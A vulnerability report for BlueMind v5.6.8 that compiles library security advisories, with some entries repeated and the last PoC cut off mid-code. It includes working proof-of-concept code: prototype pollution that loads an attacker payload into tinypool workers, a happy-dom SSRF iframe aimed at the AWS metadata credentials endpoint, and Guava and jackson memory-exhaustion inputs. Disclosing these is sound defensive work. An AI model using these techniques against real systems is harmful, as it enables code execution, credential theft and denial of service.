Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.1, Tinypool constructs ThreadPool.options from a normal options object and reads the execArgv and env worker options in dist/index.js, allowing values inherited from a polluted Object.prototype to be copied into own properties and passed to worker_threads.Worker. An attacker who can first pollute either property can cause each newly spawned worker to load attacker-selected JavaScript through command-line preload arguments or NODE_OPTIONS, resulting in code execution with the host process's privileges and possible access to CI secrets, signing material, or build artifacts. This issue is fixed in version 2.1.1.
BlueMind v5.6.8 - Vulnerabilities
Linked vulnerabilities (the same vulnerability under several ids, according to the EUVD) are counted once; the number in brackets counts every id.
Generated on 2026-10-31 16:38 from http://cvemanager.app.bluemind.net/cvemanager/report/5.6.8 — filtered view: only the vulnerabilities matching the selected filters are listed
To address 66 (99)
Tinypool is a minimal Node.js worker thread pool implementation. Prior to 2.1.2, Tinypool reads filename from a caller-supplied options object in pool.run(task, options) without requiring an own property, so a polluted Object.prototype.filename can replace the intended worker module. Applications are affected only when they pass their own second-argument options object to pool.run(); calls without that argument use the trusted default options object. An attacker who can first pollute the prototype can cause the worker pool to load attacker-selected JavaScript and can read or modify task data with the host process's privileges. This issue is fixed in version 2.1.2.
`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`. Node core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection. Two keys reach code execution: 1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script. 2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection. ## Root cause `dist/index.js` lines 508-511: ```js env: this.options.env, argv: this.options.argv, execArgv: this.options.execArgv, resourceLimits: this.options.resourceLimits, ``` `this.options` is built at line 470 via object spread: ```js this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 }; ``` ## Impact Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing). ## Proof of concept Minimal reproduction (3 files): **worker.mjs** — the application's own legitimate worker: ```js export default function double(n) { return n * 2 } ``` **payload.js** — attacker-controlled code (never referenced by the app): ```js const fs = require('fs') fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid) console.log('*** RCE ***') ``` **app.js** — normal tinypool usage: ```js const path = require('path') // Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge) Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')] const { Tinypool } = require('tinypool') const pool = new Tinypool({ filename: path.join(__dirname, 'worker.mjs'), minThreads: 1, maxThreads: 1 }) pool.run(21).then(r => { console.log('pool returned:', r) // 42 — app works normally pool.destroy() }) ``` Run: ``` npm i tinypool@2.1.0 node app.js cat /tmp/RCE_PROOF.txt # attacker's code ran ``` Both `execArgv` and `env` vectors confirmed on Node 20. ## Suggested fix Resolve worker options with own-property semantics: ```js this.options = Object.assign(Object.create(null), kDefaultOptions, options, { filename, maxQueue: 0 }); ```
`tinypool` is a fork of `piscina` and inherited the same prototype-pollution surface. When `pool.run(task, options)` is called, the `filename` option is read from the provided `options` object. If that object does not have an own `filename` property, the lookup falls through to `Object.prototype`. An attacker who can pollute `Object.prototype.filename` (for example, via a vulnerable `lodash.merge`, `qs.parse`, or similar elsewhere in the application) can make tinypool load and execute an attacker-controlled worker module. This is the tinypool counterpart to the piscina root discovery [GHSA-x9g3-xrwr-cwfg](https://github.com/piscinajs/piscina/security/advisories/GHSA-x9g3-xrwr-cwfg). `pool.run(task)` with no second argument is not affected, because `kDefaultOptions.filename` is `null` and the options object is not user-controlled. The exploit only triggers when the caller passes their own options object to `pool.run()`. ## Impact Arbitrary JavaScript execution in the worker pool. If the application passes attacker-controlled data as the `run()` task and also supplies a `run()` options object, the attacker can redirect execution to a malicious worker that exfiltrates or modifies that data, achieving remote code execution and/or data exfiltration. ## Proof of Concept ```js // legitimate-worker.mjs export default async (task) => ({ by: 'legitimate-worker', processed: task }) // malicious-worker.mjs export default async (task) => ({ by: 'attacker', stolenRequestBody: task }) // main.js import express from "express"; import Tinypool from "tinypool"; import { fileURLToPath } from "node:url"; import path from "node:path"; const __dirname = path.dirname(fileURLToPath(import.meta.url)); // Simulate upstream prototype pollution (lodash merge, qs parse, etc.) Object.prototype.filename = path.join(__dirname, "malicious-worker.mjs"); const pool = new Tinypool({ filename: path.join(__dirname, "legitimate-worker.mjs"), }); express() .use(express.json()) .post("/", async (req, res) => { const ac = new AbortController(); const result = await pool.run(req.body, { signal: ac.signal }); res.json(result); }) .listen(31337); ``` ## Suggested fix Read all user-supplied options from own properties only (`Object.hasOwn` or `Object.prototype.hasOwnProperty.call`) and build the internal `ThreadPool.options` object with a null prototype.
Xerial snappy-java before 1.1.10.9 contains an unbounded memory allocation vulnerability that allows attackers to exhaust JVM memory by declaring a large uncompressed length in compressed input. Attackers can supply a few crafted bytes to Snappy.uncompress, uncompressString, SnappyInputStream or SnappyFramedInputStream to force allocations up to 2 GB, causing OutOfMemoryError and denial of service.
The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the non-blocking parser) is incomplete. This record covers the remaining bypass. The earlier fix wired validateIntegerLength() into a new _setIntLength() helper and invoked it wherever the integer portion of a number is decided: a terminator byte arrives, a '.' or 'e'/'E' is seen, or input ends inside a fully buffered value. It was not invoked on the attacker-relevant path where the parser runs out of input while still inside the MINOR_NUMBER_INTEGER_DIGITS minor state and returns NOT_AVAILABLE to the caller. As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, keeps the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows the accumulator on every chunk while validateIntegerLength() is never called. The accumulator is bounded only by maxStringLength (20 MiB by default) rather than by maxNumberLength (1000 by default), an amplification of roughly 20,000x over the documented limit. Because Java char values occupy two bytes, a single connection can be driven to approximately 40 MiB of heap before the validator finally fires when the value completes. The equivalent fraction-path code is correct: _finishFloatFraction() calls _setFractLength() before its NOT_AVAILABLE return. The missing call affects the integer-digit paths in _startPositiveNumber(), _startNegativeNumber() and _finishNumberIntegralPart() in NonBlockingUtf8JsonParserBase. Impact: reactive frameworks such as Spring WebFlux/Reactor, Quarkus, Helidon and Vert.x feed inbound HTTP or gRPC bytes to the async parser as they arrive, which is precisely the chunked-feed shape required. Operators who set StreamReadConstraints.maxNumberLength expecting it to cap memory per number value do not get that guarantee; memory accumulates per concurrent connection and attacker-controlled concurrency can exhaust the JVM heap. The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser operating on complete input are not affected. Exploitation requires only the ability to stream data to a parsing endpoint; no privileges or user interaction are needed. This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.7, and from 2.19.0 through 2.21.3, and tools.jackson.core:jackson-core from 3.0.0 through 3.1.3. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-r7wm-3cxj-wff9 states the affected 2.x range without a lower bound. The 2.22.x and 3.2.x release lines are not affected: those branches were created after the fix commit landed on 2026-05-21 and therefore contain it from their initial releases (2.22.0, tagged 2026-06-03, and 3.2.0, tagged 2026-06-08).
jsoup through 1.23.2, fixed in commit 862ba2f, contains an uncontrolled resource consumption vulnerability in XmlTreeBuilder that allows remote attackers to exhaust JVM heap memory by supplying a deeply nested XML document with uniquely-namespaced elements. The builder copies the entire inherited namespace map on every start element, causing quadratic time and memory complexity, which attackers can exploit to trigger an OutOfMemoryError and terminate the application.
node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.
source-map-js through 1.2.1 fails to validate the per-section offset line value in indexed source maps, allowing attackers to specify arbitrary numeric values. Attackers can supply extremely large offset line values that cause synchronous event loop blocking for extended periods, preventing the service from handling other requests.
jsoup through 1.23.2, fixed in commit 862ba2f, contains an uncontrolled resource consumption vulnerability in XmlTreeBuilder that allows remote attackers to exhaust JVM heap memory by supplying a deeply nested XML document with uniquely-namespaced elements. The builder copies the entire inherited namespace map on every start element, causing quadratic time and memory complexity, which attackers can exploit to trigger an OutOfMemoryError and terminate the application.
source-map-js through 1.2.1 fails to validate the per-section offset line value in indexed source maps, allowing attackers to specify arbitrary numeric values. Attackers can supply extremely large offset line values that cause synchronous event loop blocking for extended periods, preventing the service from handling other requests.
node-forge through 1.4.0 fails to validate element count in nested DigestAlgorithm sequences during RSA PKCS#1 v1.5 signature verification. Attackers can embed garbage bytes inside the DigestAlgorithm sequence to forge valid signatures for arbitrary messages using low-exponent RSA keys. This is an incomplete fix for CVE-2026-33894.
braces through 3.0.3 contains a stack overflow vulnerability in the recursive AST walkers that lack depth guards. Attackers can supply deeply nested brace patterns under the character limit to exhaust the call stack and terminate the Node.js process with an uncaught RangeError.
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel="stylesheet" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.
## Summary happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel="stylesheet">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements. ## Affected Versions - happy-dom <= 20.8.9 (latest) ## Vulnerable Behavior By default, happy-dom has: - `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests - `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed. ## Proof of Concept ### Verified test (attacker server receives requests): ```javascript const http = require('http'); const { Window } = require('happy-dom'); // Start attacker server const srv = http.createServer((req, res) => { console.log(`SSRF HIT: ${req.method} ${req.url}`); res.writeHead(200, {'Content-Type': 'text/html'}); res.end('<html><body>stolen</body></html>'); }); srv.listen(9995, () => { // iframe SSRF — happy-dom makes a real GET request const win1 = new Window({ url: 'http://localhost' }); win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>'); // stylesheet SSRF — happy-dom makes a real GET request const win2 = new Window({ url: 'http://localhost' }); win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>'); }); ``` **Test output:** ``` SSRF HIT: GET /iframe-ssrf SSRF HIT: GET /stylesheet-ssrf ``` Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS. ### Cloud metadata attack scenario: ```javascript const { Window } = require('happy-dom'); const win = new Window({ url: 'http://localhost' }); // Attacker-controlled HTML triggers fetch to AWS metadata endpoint win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>'); ``` ## Impact - **Cloud credential theft** — `<iframe src="http://169.254.169.254/...">` fetches AWS/GCP/Azure metadata - **Internal network scanning** — probe internal services and ports - **Data exfiltration** — read responses from internal APIs - **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input ## Suggested Fix Change defaults to disable external resource loading: ```javascript disableIframePageLoading: true, // change from false disableCSSFileLoading: true, // change from false ``` Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
Allocation of resources without limits or throttling (CWE-770) during Java object deserialization in Google Guava versions 4.0 through 33.7.1 allows an attacker to cause a Denial of Service via OutOfMemoryError. When deserializing CompactHashMap, CompactHashSet, or MapMakerInternalMap instances, Guava eagerly allocates an array based on a caller-specified size parameter without throttling, permitting memory exhaustion from crafted serialization streams.
# CompactHashMap/CompactHashSet/MapMakerInternalMap native deserialization triggers uncontrolled memory allocation ## Summary `CompactHashMap`, `CompactHashSet`, and `MapMakerInternalMap` implement `readObject(ObjectInputStream)` by reading an attacker-controlled `elementCount` or `initialCapacity` from the stream. On the very first insertion during or after deserialization (for the `CompactHash*` collections, inside `allocArrays()`) or immediately during deserialization (for `MapMakerInternalMap`), the implementation eagerly allocates arrays sized to that full, unvalidated value (up to `CompactHashing.MAX_SIZE` = 2^30-1, ~1.07 billion, for example) before the rest of the stream's actual content has been consumed. A 72-byte malicious serialized stream containing a single tiny element can force a multi-gigabyte allocation and crash a JVM with `OutOfMemoryError`, dynamically confirmed against the current release. ## Details `CompactHashMap.readObject()` (`guava/src/com/google/common/collect/CompactHashMap.java`): ```java private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException { stream.defaultReadObject(); int elementCount = stream.readInt(); if (elementCount < 0) { throw new InvalidObjectException("Invalid size: " + elementCount); } init(elementCount); for (int i = 0; i < elementCount; i++) { K key = (K) stream.readObject(); V value = (V) stream.readObject(); put(key, value); } } ``` `elementCount` is only checked for being non-negative; there is no upper bound and no relationship enforced between the declared count and how much data actually follows in the stream. `init(elementCount)` (line 251) just stores the value (clamped to `[1, CompactHashing.MAX_SIZE]`, i.e. up to 2^30-1): ```java void init(int expectedSize) { Preconditions.checkArgument(expectedSize >= 0, "Expected size must be >= 0"); this.metadata = Ints.constrainToRange(expectedSize, 1, CompactHashing.MAX_SIZE); } ``` The real allocation is deferred to `allocArrays()`, which fires lazily on the *first* `put()` call — i.e. after only one key/value pair has actually been read off the wire: ```java int allocArrays() { ... int expectedSize = metadata; int buckets = CompactHashing.tableSize(expectedSize); this.table = CompactHashing.createTable(buckets); setHashTableMask(buckets - 1); this.entries = new int[expectedSize]; this.keys = new Object[expectedSize]; this.values = new Object[expectedSize]; return expectedSize; } ``` With `expectedSize` near `CompactHashing.MAX_SIZE` (2^30-1), this single call allocates a hash `table` plus three `expectedSize`-length arrays — multiple gigabytes — triggered by a stream that has, at that point, only supplied one small real element. `CompactHashSet.readObject()`/`allocArrays()` have the identical shape. `CompactLinkedHashMap`/`CompactLinkedHashSet` extend these classes and inherit the same unguarded path. The problem with `MapMakerInternalMap` is similar, with [a size read from the serialized data and stored in a `MapMaker` instance](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2848-L2851) for [later user during deserialization](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2897), when [the `MapMaker` is passed back to `MapMakerInternalMap`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMaker.java#L287) and [segments are allocated](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L173-L200) by [calling `newSegment`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1143), whose implementations ([example](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L443)) create `Segment` instances ([example](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L2019)) that [allocate arrays of the requested capacity](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1234) through [the `newTable`](https://github.com/google/guava/blob/1278ad9c2257f48dc82fb7b7c625ab563605aa24/guava/src/com/google/common/collect/MapMakerInternalMap.java#L1262) helper. This is the same amplification shape as the already-fixed **CVE-2018-10237** (`AtomicDoubleArray`/`CompoundOrdering`: attacker declares a large size, library eagerly allocates before validating against actual stream content). That fix rewrote `AtomicDoubleArray.readObject()` to grow an `ImmutableLongArray.Builder` incrementally per element actually read, rather than pre-allocating from the declared size — Guava's own `HashBiMap.readObject()` documents the same defensive principle explicitly in a comment: `init(16); // resist hostile attempts to allocate gratuitous heap`. `CompactHashMap`/`CompactHashSet` do not follow either of these two patterns already present elsewhere in the same codebase. **Reachability**: All classes are top-level, `implements ... Serializable`, and require no special classpath setup beyond Guava being present (near-ubiquitous on JVM backends). A native Java deserialization attacker names the class directly in a hand-crafted stream — no particular Guava factory method needs to have been used by the victim application, exactly as with the precedent CVE. ## PoC Full source and run instructions in the attached `poc-guava-compacthash-dos.zip` (Maven project, `guava:33.7.1-jre` — the current latest release — as the only dependency). The PoC: 1. Uses reflection only to legitimately obtain a `CompactHashSet` instance (it is package-private; a real attacker does not need this step, since they craft the serialized bytes directly rather than calling Guava's own serialization code). 2. Serializes one set with 1 element and one with 2 elements, diffs the two byte streams to locate the exact offset of the `elementCount` field (byte-precise, not guessed). 3. Patches that one 4-byte field in the 1-element stream from `1` to `0x3FFFFFFF` (`CompactHashing.MAX_SIZE`), leaving the rest of the 72-byte stream (one real `"A"` element) untouched. 4. Feeds the resulting 72-byte malicious stream into a plain `new ObjectInputStream(...).readObject()` call against the real, unmodified `guava-33.7.1-jre.jar`. Actual run output: ``` ### -Xmx8g (generous heap) ### Located size field at offset 63, value=1 (expected 1) Malicious stream size: 72 bytes Declared elementCount: 1073741823 (~1.07 billion) Real payload: 1 tiny string element ("A") === RESULT === Exception: java.lang.OutOfMemoryError: Java heap space Time to allocate+fail: 4013 ms Heap used before: 3 MB Heap used after (at failure point): 4103 MB JVM max heap (-Xmx): 8192 MB ### -Xmx128m (ordinary service-sized heap) ### Located size field at offset 63, value=1 (expected 1) Malicious stream size: 72 bytes Declared elementCount: 1073741823 (~1.07 billion) Real payload: 1 tiny string element ("A") === RESULT === Exception: java.lang.OutOfMemoryError: Java heap space Time to allocate+fail: 24 ms Heap used before: 4 MB Heap used after (at failure point): 2 MB JVM max heap (-Xmx): 128 MB ``` A 72-byte input forces ~4.1 GB of real allocation before failing on an 8 GB heap, and crashes a 128 MB heap in 24 ms — over 50,000x amplification between input size and forced allocation. To reproduce: `mvn -q compile dependency:build-classpath -Dmdep.outputFile=cp.txt && java -Xmx128m -cp "target/classes:$(cat cp.txt)" poc.Poc` ## Impact Uncontrolled resource consumption (CWE-770 / CWE-400) via native Java deserialization: any application that runs `ObjectInputStream.readObject()` on data reachable by an attacker, and has Guava on its classpath (true for a large fraction of the JVM ecosystem), can be crashed with a single ~72-byte payload, regardless of what type the application itself expected to deserialize. ## Severity CVSS 3.1: `AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H` — identical vector to CVE-2018-10237, the precedent this is a sibling of. Recomputed with the full formula: exploitability = 8.22×0.85×0.44×0.85×0.85 = 2.221; ISS = 1-(1×1×0.44) = 0.56; impact = 6.42×0.56 = 3.595; base = roundup(5.816) = **5.9 (Medium)**. ## Affected `com.google.guava:guava`, all editions (`-jre`/`-android`) — confirmed on the current latest release, 33.7.1-jre. `CompactHashMap`/`CompactHashSet`/`CompactLinkedHashMap`/`CompactLinkedHashSet` have had this same `readObject`/`allocArrays` shape for a long time (probably since they were added in Guava 23.6), and similarly for `MapMakerInternalMap` (which was introduced in Guava 4.0); not tested against older individual releases. ## Suggested fix Apply the same defense already used elsewhere in this codebase: either clamp the initial `init()` capacity to a small constant regardless of the declared `elementCount` (as `HashBiMap.readObject()` already does — `init(16); // resist hostile attempts to allocate gratuitous heap`) and grow incrementally as elements are actually read, or grow the backing arrays incrementally per iteration of the deserialization loop (as the fixed `AtomicDoubleArray.readObject()` does via `ImmutableLongArray.Builder`) instead of eagerly sizing to the full attacker-declared count on first insert.
### Impact The fix for [CVE-2021-23337](https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the `variable` option in `_.template` but did not apply the same validation to `options.imports` key names. Both paths flow into the same `Function()` constructor sink. When an application passes untrusted input as `options.imports` key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time. Additionally, `_.template` uses `assignInWith` to merge imports, which enumerates inherited properties via `for..in`. If `Object.prototype` has been polluted by any other vector, the polluted keys are copied into the imports object and passed to `Function()`. ### Patches Users should upgrade to version 4.18.0. The fix applies two changes: 1. Validate `importsKeys` against the existing `reForbiddenIdentifierChars` regex (same check already used for the `variable` option) 2. Replace `assignInWith` with `assignWith` when merging imports, so only own properties are enumerated ### Workarounds Do not pass untrusted input as key names in `options.imports`. Only use developer-controlled, static key names.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.2.0 until 3.0.14, WebSocket permessage-deflate decompression is unbounded when compression is enabled. The inbound pipeline aggregates compressed frames before WebSocketClientCompressionHandler inflates them, so webSocketMaxFrameSize and webSocketMaxBufferSize do not bound decompressed output. A malicious WebSocket peer can send a small compressed message that expands to a very large Netty buffer and exhausts JVM heap. This issue is fixed in version 3.0.14.
launch-editor allows users to open files with line numbers in editor from Node.js. Prior to 2.14.2, launch-editor-middleware processes an attacker-controlled Windows file argument where the file argument ends in a parent-directory component plus a line-and-column suffix: the path is resolved while the suffix is still present, and launch-editor removes the suffix before its existsSync check, leaving the existing parent directory for existsSync and allowing the attacker-controlled file argument to pass filename existence validation without requiring the malicious filename to exist. The bypass can lead to OS command injection when combined with the separately described Windows percent-expansion flaw. This issue is fixed in version 2.14.2.
NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates "stringified numbers" with two regular expressions: PATTERN_FLOAT ([+-]?[0-9]*[\.]?[0-9]+([eE][+-]?[0-9]+)?), present since 2.17.0, and PATTERN_FLOAT_TRAILING_DOT, added in 2.17.2. PATTERN_FLOAT places adjacent quantifiers over the same character class -- an optional [0-9]* run, an optional dot, then a required [0-9]+ run -- so input that ultimately fails to match forces Java's backtracking engine to retry every possible split point of the digit run. Matching cost therefore grows with the square of the input length. An attacker who can supply JSON that an application deserializes into a numeric target type reaches this method through jackson-databind's default String-to-number coercion (StdDeserializer and NumberDeserializers for BigDecimal, BigInteger, Double and Float). Because StreamReadConstraints.maxStringLength defaults to 20,000,000 characters, no constraint bounds the input before it reaches the regex. Testing by the reporter confirmed O(n^2) growth across five consecutive input-size doublings, with a single 160,000-character string consuming roughly 74 seconds in one call; a small number of concurrent requests of ordinary body size can therefore exhaust a server's request-handling thread pool. The affected method does not exist before 2.17.0, so 2.16.x and earlier releases are not affected. The fix replaces both regular expressions with a hand-rolled single-pass scan.
UTF8DataInputJsonParser._reportInvalidToken() in FasterXML jackson-core builds the offending-token text for its error message by appending Java identifier characters to a StringBuilder in a loop that has no upper bound. Unlike the three sibling parser implementations, including UTF8StreamJsonParser, it never consults ErrorReportConfiguration.getMaxErrorTokenLength() (default 256). A malformed token supplied to a parser created through JsonFactory.createParser(DataInput) is therefore accumulated in full. No StreamReadConstraints setting mitigates this: maxDocumentLength cannot be applied to DataInput sources at all, and maxStringLength does not cover this path because the accumulation bypasses ReadConstrainedTextBuffer. The reporter measured a 20,000,109-character exception message from a 20-million-character malformed token on the DataInput path, against 367 characters for identical input on the InputStream path. Scaling the payload drives the StringBuilder, which also incurs byte-to-char expansion and internal array doubling, to many times the raw payload size and can trigger OutOfMemoryError for the whole JVM. UTF8DataInputJsonParser was introduced in 2.8.0 together with createParser(DataInput); releases before 2.8.0 do not contain the affected class.
TypeDeserializerBase._findDeserializer() in FasterXML jackson-databind caches the resolved deserializer under the raw, attacker-supplied type ID. When name-based polymorphism is configured with a fallback, for example @JsonTypeInfo(use = Id.NAME, defaultImpl = ...), every distinct unrecognized type ID resolves to the same fallback deserializer but is retained as its own key in the _deserializers map. That map has no configurable bound and lives for the lifetime of the type deserializer, so an attacker who can repeatedly supply fresh unknown type IDs causes monotonic memory retention across requests. The reporter observed 10,000 retained entries from 10,000 distinct unknown IDs, against a single entry for a control that repeated one unknown ID the same number of times, isolating attacker-controlled key cardinality from request volume. Exploitation requires an application that enables name-based polymorphism with a defaultImpl or equivalent fallback, accepts attacker-influenced type IDs, and reuses a long-lived ObjectMapper across requests. The fix stops caching fallback resolutions for unrecognized IDs and bounds both the number of cached entries and the length of a cacheable type ID.
Forward-reference completion for @JsonIdentityInfo object IDs in FasterXML jackson-databind performs a linear scan of the pending-reference accumulator for every resolved ID. The affected paths are CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference() and the equivalent implementation in MapDeserializer. When a document first creates N unresolved object-ID references in an identity-enabled collection or map and then defines those same IDs in reverse order, completion performs on the order of N * (N + 1) / 2 identity comparisons, so a shallow document whose size grows linearly causes quadratic CPU work during deserialization. The reporter instrumented equals() calls on the ID class and measured exactly 2,003,000 comparisons at N = 2,000, against zero comparisons in the pending-reference lookup path for an equally sized control in which every reference was already resolved. The input requires no deep nesting and no syntactically unusual JSON. Exploitation requires an application that deserializes attacker-influenced JSON into an identity-enabled collection or map. The fix replaces the repeated linear lookup with a keyed pending-reference structure.
### Summary `launch-editor` checked `fs.existsSync(fileName)` before passing a supplied path to an editor command. On Windows, an attacker can bypass this check with a crafted path ending in `\\..:line:column`. This removes the requirement that the attacker be able to place a file with a malicious filename. Combined with the `%` escaping issue described in [GHSA-698v-4r3x-3vcv](https://github.com/vitejs/launch-editor/security/advisories/GHSA-698v-4r3x-3vcv), this bypass can lead to OS command injection when an attacker controls the file argument. ### Impact Only apps that runs on Windows is affected. ### Details The earlier advisory assumed that `fs.existsSync()` required an attacker-controlled filename to exist. This advisory covers a bypass of that requirement. A crafted value ending in `\\..:1:1` is interpreted differently by `launch-editor-middleware`, `launch-editor`, and Windows: 1. `launch-editor-middleware` calls `path.resolve()` while the final path component is `..:1:1`, so it is not treated as a parent-directory component. 2. `launch-editor` treats `:1:1` as a line-and-column suffix and removes it, leaving a path ending in `\\..`. 3. On Windows, `fs.existsSync()` accepts the resulting path as the existing parent directory even though the attacker-controlled preceding component does not exist. 4. Because the existence check passes, the crafted filename reaches the Windows shell command.
## Status **FULLY REPRODUCED.** A malformed token fed through `createParser(DataInput)` produced a 20,000,109-character exception message from a 20-million-character attacker payload, while the identical payload fed through `createParser(InputStream)` produced a correctly bounded 367-character message. ## Affected Component / Version - **Package:** `com.fasterxml.jackson.core:jackson-core` - **Confirmed against:** `jackson-core-2.20.2` - **Affected file:** `src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java` (`_reportInvalidToken(int, String, String)`, lines ~2763-2780 in the 2.20.2 tree) ## Technical Analysis `UTF8DataInputJsonParser._reportInvalidToken()` builds the offending-token description for its exception message by appending identifier characters one at a time to a bare `StringBuilder`: ```java protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException { StringBuilder sb = new StringBuilder(matchedPart); while (true) { char c = (char) _decodeCharForError(ch); if (!Character.isJavaIdentifierPart(c)) { break; } sb.append(c); ch = _inputData.readUnsignedByte(); } _reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg); } ``` There is **no check against `ErrorReportConfiguration.getMaxErrorTokenLength()`** (default 256) anywhere in this loop. By contrast, the sibling `UTF8StreamJsonParser` implementation of the same logic does enforce it: ```java // UTF8StreamJsonParser.java (control, correctly bounded) if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) { sb.append("..."); break; } ``` `ReaderBasedJsonParser` and `NonBlockingUtf8JsonParserBase` also correctly enforce the limit — this is a defect isolated to the `DataInput`-backed implementation specifically, confirmed by direct comparison of all four parser implementations in this tree. This path is additionally left with **no fallback control**: because of `[core#1570]`-related logic in `JsonFactory`, configuring `maxDocumentLength` causes `DataInput`-sourced parser creation to be rejected outright, so a document-length backstop cannot coexist with this input source, and the identifier-character accumulation never passes through `ReadConstrainedTextBuffer`, so `maxStringLength` does not apply either. There is no configuration an application can set to mitigate this specific path. ## Reproduction Procedure Same clone/build steps as `jackson-core_1_...md`. Then: ```bash CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar" javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder ``` ## Full PoC Source (`poc/PoC6_UnboundedErrorTokenStringBuilder.java`) ```java import com.fasterxml.jackson.core.*; import java.io.DataInputStream; import java.io.IOException; import java.io.InputStream; public class PoC6_UnboundedErrorTokenStringBuilder { static class RepeatingByteInputStream extends InputStream { private final int b; private long remaining; RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; } @Override public int read() { if (remaining <= 0) return -1; remaining--; return b; } } public static void main(String[] args) throws Exception { final long IDENTIFIER_CHAR_COUNT = 20_000_000L; System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT + " Java-identifier characters ('x'), then a terminating space, never completing" + " \"true\"/\"false\"/\"null\"/NaN.\n"); System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ==="); { InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"), new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8")); DataInputStream dataIn = new DataInputStream(raw); JsonFactory factory = new JsonFactory(); JsonParser p = factory.createParser((java.io.DataInput) dataIn); long heapBefore = usedHeap(); long t0 = System.nanoTime(); String message = null; try { p.nextToken(); 